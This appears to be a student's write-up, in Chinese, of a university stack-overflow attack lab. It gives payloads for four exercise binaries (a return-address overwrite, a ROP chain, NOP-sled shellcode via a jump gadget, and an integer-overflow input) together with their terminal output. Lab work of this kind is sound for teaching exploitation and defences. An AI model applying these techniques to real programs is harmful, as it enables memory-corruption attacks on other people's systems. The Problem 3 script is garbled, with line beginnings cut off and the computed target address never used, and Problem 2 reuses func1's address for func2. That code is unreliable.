# 栈溢出攻击实验

姓名：韩怡轩
学号：2022201575

## 题目解决思路

### Problem 1:

- **分析**：
  1. **分析汇编代码**：发现 `func` 函数中的 `strcpy` 存在栈溢出漏洞
  2. **计算偏移**：缓冲区起始于 `rbp-0x8`，返回地址在 `rbp+0x8`，距离为16字节
  3. **目标地址**：`func1` 函数的地址为 `0x401216`
  4. **构造payload**：16字节填充 + 小端格式的 `0x401216`
- **解决方案**：
  Payload

```python
padding = b"A" * 16  # 覆盖到返回地址前

# func1地址: 0x401216 (小端序, 64位是8字节)
# x86-64是小端, 最低有效字节在前
target_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00"  # 0x401216

payload = padding + target_addr
```

- **结果**：

```
./problem1 ans1.txt
-rwxrwxrwx 1 tokuriku tokuriku 24 Jan 19 08:53 ans1.txt
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 1612 4000 0000 0000                      ..@.....
/mnt/d/HW/attack-lab-haveamilktea
Do you like ICS?
Yes!I like ICS!
```

### Problem 2:

- **分析**：
  1. **分析汇编代码**：发现 `func` 函数中的 `memcpy` 存在栈溢出漏洞，拷贝56字节
  2. **NX保护**：不能执行栈上代码，需要使用ROP
  3. **找到gadget**：`pop_rdi` 函数中的 `pop rdi; ret`（地址 `0x4012c7`）
  4. **目标函数**：`func2` 需要参数 `0x3f8`（1016）
  5. **构造ROP链**：填充 + pop_rdi + 参数 + func2地址

- **解决方案**:
  Payload

```
    padding = b"A" * 16  # 覆盖到返回地址

    # ROP gadgets
    pop_rdi = b"\xc7\x12\x40\x00\x00\x00\x00\x00"  # 0x4012c7 (pop rdi; ret)

    # 参数: 0x3f8 = 1016 (小端, 8字节)
    param = b"\xf8\x03\x00\x00\x00\x00\x00\x00"  # 0x00000000000003f8

    # 目标函数
    func2_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00"  # 0x401216

    # 构造ROP链
    payload = padding + pop_rdi + param + func2_addr
```

- **结果**:

```
tokuriku@TokuyvoLaptop:/mnt/d/HW/attack-lab-haveamilktea$ python3 solve2.py
./problem2 ans2.txt
Payload written to ans2.txt
Length: 40 bytes
ROP链结构:
  1. 16字节填充
  2. pop rdi; ret @ 0x4012c7
  3. 参数 0x3f8
  4. func2 @ 0x401216
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

## Problem 3:

- **分析**:
  1. **分析保护**：无NX保护，可以在栈上执行代码
  2. **关键函数**：`jmp_xs` 跳转到 `saved_rsp + 0x10` 指向的地址
  3. **漏洞点**：`func` 函数中的 `memcpy` 拷贝64字节，可以覆盖栈内容
  4. **攻击方案**:
     - 在栈上注入shellcode（调用 `func1(0x72)`）
     - 覆盖返回地址为 `jmp_xs`（`0x401334`）
     - 确保 `saved_rsp + 0x10` 指向shellcode
  5. **使用nop sled**：增加攻击成功率
- **解决方案**:
  1. **Shellcode编写**：`mov rdi, 0x72; mov rax, 0x401216; call rax`
  2. **利用 `jmp_xs` gadget**：跳转到可控地址
  3. **计算偏移**：确保 `saved_rsp + 0x10` 指向正确位置

Payload

```python
port struct

更大的nop sled
p_sled = b"\x90" * 100

Shellcode
ellcode = b""
ellcode += b"\x48\xc7\xc7\x72\x00\x00\x00"  # mov rdi,
ellcode += b"\x48\xb8\x16\x12\x40\x00\x00\x00\x00\x00"
ellcode += b"\xff\xd0"  # call rax

估计的缓冲区地址（可能需要调整）
ffer_addr = 0x7fffffffdba0

使用nop sled，我们不需要精确地址
跳转到nop sled中间即可
rget_addr = buffer_addr + 50  # 跳到nop sled中间

yload = b""
nop sled + shellcode
yload += nop_sled
yload += shellcode
```

- **结果**:

```
tokuriku@TokuyvoLaptop:/mnt/d/HW/attack-lab-haveamilktea$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

## Problem 4:

- **分析**:
  1. **程序分析**：发现Canary保护，但存在逻辑漏洞
  2. **整数溢出理解**：`for (int i = 0; i < -2; i++)` 实际上会将 `param` 增加2
  3. **正确输入**：`-1`（经过循环后变成1，且原始值为-1）
  4. ### Canary保护体现：
     - 函数开头：`mov %fs:0x28,%rax` → `mov %rax,-0x8(%rbp)`
     - 函数返回前：`mov -0x8(%rbp),%rax` → `sub %fs:0x28,%rax` → `je` 或 `call __stack_chk_fail`
- **解决方案**:

Payload（想一想，你真的需要写脚本吗？）

```
printf "a\nb\n-1\n" | ./problem4
```

- **结果**:

```
tokuriku@TokuyvoLaptop:/mnt/d/HW/attack-lab-haveamilktea$ printf "a\nb\n-1\n" | ./problem4
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores
```

# 思考与总结

很有趣实验，可以通过实践理解安全漏洞的成因、利用手法以及现代防护技术（NX、Canary、ASLR）的工作原理。
PS：原石好贵

# 参考资料


1. CTF Wiki - Stack Overflow: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/